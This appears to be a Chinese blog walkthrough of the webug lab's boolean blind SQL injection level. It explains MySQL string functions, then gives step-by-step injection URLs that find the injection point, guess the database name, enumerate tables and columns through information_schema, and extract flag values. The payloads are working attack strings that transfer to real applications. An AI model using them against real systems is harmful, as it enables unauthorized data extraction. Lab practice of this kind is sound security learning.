webug-布尔注入

匿名 (未验证) 提交于 2019-12-03 00:08:02

布尔注入是盲注之一,进行sql语句注入后,选择的数据并不能返回到前端。只能利用其他方法来判断,还是简单介绍下学到的知识点。

  1. left(database(),n)    database() 数据库名称 left()函数表示截取数据库左侧n个字符
  2. substr(a,b,c)      从字符串a的b位置开始截取c个字符,当b为负数时截取位置是从字符串a右端向左数b个字符
  3. mid(a,b,c)        从字符串a的b位置开始截取c个字符,c为非必需若省略返回剩余文本
  4. ord()与ascii()      这两个函数都是将字符转化成ascii值
  5. limit i,n第一个参数:从i开始查 ; 第二个参数:查n条
  6. 有时不报错可能是因为前面语句没错误,使得union后面语句没执行
  7. IFNULL(exp1,exp2) 如果exp1不为null,返回exp1否则返回exp2
  8. cast(exp as data_type)as之前是待处理数据,后面是要转换的类型。有时还有要求eg:CAST(‘12.5’ AS decimal(10,2)) 10代表所有数字位数限制为10 ,2表示小数点后两位 故结果为12.50 如果前面type换成int 则运行错误 。另精度和小数位数的默认值分别是18与0,decimal下 浮点数不说明的情况下会出来整数。

直接单引号测试,页面发生变化


http://localhost/control/sqlinject/bool_injection.php?id=1’ or 1=1%23
页面恢复正常,此处存在注入点


利用order by判断字段
http://localhost/control/sqlinject/bool_injection.php?id=1’ order by 3%23
字段数为2时页面正常
利用left()函数判断数据库名,先判断数据库名长度
http://localhost/control/sqlinject/bool_injection.php?id=1’ and length(database())>4%23
判断出数据库名长度为5

http://localhost/control/sqlinject/bool_injection.php?id=1’ and left(database(),1)>‘a’ %23
开始猜数据库名,一步步猜出数据库名为webug,替换数字时需要加一个测试字符


查看当前数据库表
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))>98%23
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
爆出所有数据库名
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23

表名下面有flag,直接查询列
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘flag’ limit 0,1),1,1))>100%23

判断出字段有id,flag

查询flag字段的值
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23
爆出的flag字段为dfafdasfafdsadfa,提交失败,尝试爆第二张表

http://192.168.199.143/control/sqlinject/bool_injection.php?id=1’and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 0,1),1,1))>97%23

env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
猜测所有flag都在这里面
http://localhost/control/sqlinject/bool_injection.php?id=1’ and substr((select envFlag from env_list where id=1 limit 0,1),1,16)=‘dfafdasfafdsadfa’%23

测试了第一关flag

在第一关直接爆第二关的flag,flag正确

正常猜测第二关flag
http://localhost/control/sqlinject/bool_injection.php?id=1’ and ascii(substr((select envFlag from env_list where id=2 limit 0,1),1,1))>98%23
最后得出flag:fdsafsdfa

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!